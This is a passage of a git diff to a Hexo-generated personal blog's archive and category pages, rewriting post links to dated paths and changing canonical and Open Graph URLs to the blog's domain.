     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我个人的coding风格.html" target="_self">阅读全文</a>
+            <a href="/2017/11/26/我个人的coding风格.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/常见的兼容性问题.html">常见的兼容性问题</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/常见的兼容性问题.html">常见的兼容性问题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/常见的兼容性问题.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/常见的兼容性问题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js中的一些方法和函数.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/js中的一些方法和函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/董思阳的忠告.html">董思阳的忠告</a></p>
+        <p class="article-headline-p"><a href="/2017/10/19/董思阳的忠告.html">董思阳的忠告</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/董思阳的忠告.html" target="_self">阅读全文</a>
+            <a href="/2017/10/19/董思阳的忠告.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hybird.html">hybird</a></p>
+        <p class="article-headline-p"><a href="/2017/10/11/hybird.html">hybird</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hybird.html" target="_self">阅读全文</a>
+            <a href="/2017/10/11/hybird.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -925,7 +925,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试题.html">前端面试题</a></p>
+        <p class="article-headline-p"><a href="/2017/09/18/前端面试题.html">前端面试题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -935,7 +935,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试题.html" target="_self">阅读全文</a>
+            <a href="/2017/09/18/前端面试题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -986,7 +986,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/simpleCountry.html">simpleCountry</a></p>
+        <p class="article-headline-p"><a href="/2017/09/14/simpleCountry.html">simpleCountry</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -996,7 +996,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/simpleCountry.html" target="_self">阅读全文</a>
+            <a href="/2017/09/14/simpleCountry.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/page/4/index.html b/public/archives/page/4/index.html
index 4a64645..17cf447 100644
--- a/public/archives/page/4/index.html
+++ b/public/archives/page/4/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/page/4/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/page/4/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/page/4/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/page/4/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/page/4/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/page/4/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-koa.html">learn-koa</a></p>
+        <p class="article-headline-p"><a href="/2017/09/06/learn-koa.html">learn-koa</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-koa.html" target="_self">阅读全文</a>
+            <a href="/2017/09/06/learn-koa.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
+        <p class="article-headline-p"><a href="/2017/08/28/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
+            <a href="/2017/08/28/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试准备.html">前端面试准备</a></p>
+        <p class="article-headline-p"><a href="/2017/08/27/前端面试准备.html">前端面试准备</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试准备.html" target="_self">阅读全文</a>
+            <a href="/2017/08/27/前端面试准备.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
+        <p class="article-headline-p"><a href="/2017/08/23/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
+            <a href="/2017/08/23/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
+        <p class="article-headline-p"><a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
+            <a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/wuti.html">wuti</a></p>
+        <p class="article-headline-p"><a href="/2017/07/31/wuti.html">wuti</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/wuti.html" target="_self">阅读全文</a>
+            <a href="/2017/07/31/wuti.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/badboy.html">badboy</a></p>
+        <p class="article-headline-p"><a href="/2017/07/30/badboy.html">badboy</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/badboy.html" target="_self">阅读全文</a>
+            <a href="/2017/07/30/badboy.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -920,7 +920,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/关于罗永浩.html">关于罗永浩</a></p>
+        <p class="article-headline-p"><a href="/2017/07/23/关于罗永浩.html">关于罗永浩</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -930,7 +930,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/关于罗永浩.html" target="_self">阅读全文</a>
+            <a href="/2017/07/23/关于罗永浩.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -981,7 +981,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -991,7 +991,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/page/5/index.html b/public/archives/page/5/index.html
index 67cc258..e98cd75 100644
--- a/public/archives/page/5/index.html
+++ b/public/archives/page/5/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/page/5/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/page/5/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/page/5/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/page/5/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/page/5/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/page/5/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/css的命名规范.html">css的命名规范</a></p>
+        <p class="article-headline-p"><a href="/2017/07/17/css的命名规范.html">css的命名规范</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/css的命名规范.html" target="_self">阅读全文</a>
+            <a href="/2017/07/17/css的命名规范.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue-eleme.html">vue-eleme</a></p>
+        <p class="article-headline-p"><a href="/2017/07/05/vue-eleme.html">vue-eleme</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue-eleme.html" target="_self">阅读全文</a>
+            <a href="/2017/07/05/vue-eleme.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sticky-footer.html">sticky-footer</a></p>
+        <p class="article-headline-p"><a href="/2017/07/02/sticky-footer.html">sticky-footer</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sticky-footer.html" target="_self">阅读全文</a>
+            <a href="/2017/07/02/sticky-footer.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我向往的明天.html">我向往的明天</a></p>
+        <p class="article-headline-p"><a href="/2017/07/01/我向往的明天.html">我向往的明天</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我向往的明天.html" target="_self">阅读全文</a>
+            <a href="/2017/07/01/我向往的明天.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/div-section-article.html">div,section,article</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/div-section-article.html">div,section,article</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/div-section-article.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/div-section-article.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/四种常见的布局.html">四种常见的布局</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/四种常见的布局.html">四种常见的布局</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/四种常见的布局.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/四种常见的布局.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/论轮播图的原理.html">解析卡片式轮播图</a></p>
+        <p class="article-headline-p"><a href="/2017/06/24/论轮播图的原理.html">解析卡片式轮播图</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/论轮播图的原理.html" target="_self">阅读全文</a>
+            <a href="/2017/06/24/论轮播图的原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
+        <p class="article-headline-p"><a href="/2017/06/18/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue学习笔记（一）.html" target="_self">阅读全文</a>
+            <a href="/2017/06/18/vue学习笔记（一）.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -925,7 +925,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -935,7 +935,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/搭一个windows云服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/搭一个windows云服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -986,7 +986,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -996,7 +996,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hexo搭建博客.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/hexo搭建博客.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/APP/index.html b/public/categories/APP/index.html
index 1f556fe..8f19996 100644
--- a/public/categories/APP/index.html
+++ b/public/categories/APP/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/APP/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/APP/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/APP/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/APP/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: APP | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/APP/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/APP/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hybird.html">hybird</a></p>
+        <p class="article-headline-p"><a href="/2017/10/11/hybird.html">hybird</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hybird.html" target="_self">阅读全文</a>
+            <a href="/2017/10/11/hybird.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/CSS/index.html b/public/categories/CSS/index.html
index 13cfd51..b41dd7e 100644
--- a/public/categories/CSS/index.html
+++ b/public/categories/CSS/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/CSS/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/CSS/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/CSS/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/CSS/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: CSS | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/CSS/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/CSS/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/css的命名规范.html">css的命名规范</a></p>
+        <p class="article-headline-p"><a href="/2017/07/17/css的命名规范.html">css的命名规范</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/css的命名规范.html" target="_self">阅读全文</a>
+            <a href="/2017/07/17/css的命名规范.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sticky-footer.html">sticky-footer</a></p>
+        <p class="article-headline-p"><a href="/2017/07/02/sticky-footer.html">sticky-footer</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sticky-footer.html" target="_self">阅读全文</a>
+            <a href="/2017/07/02/sticky-footer.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/HTML/index.html b/public/categories/HTML/index.html
index 58b0b89..63463ce 100644
--- a/public/categories/HTML/index.html
+++ b/public/categories/HTML/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/HTML/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/HTML/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/HTML/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/HTML/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: HTML | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/HTML/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/HTML/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/div-section-article.html">div,section,article</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/div-section-article.html">div,section,article</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/div-section-article.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/div-section-article.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
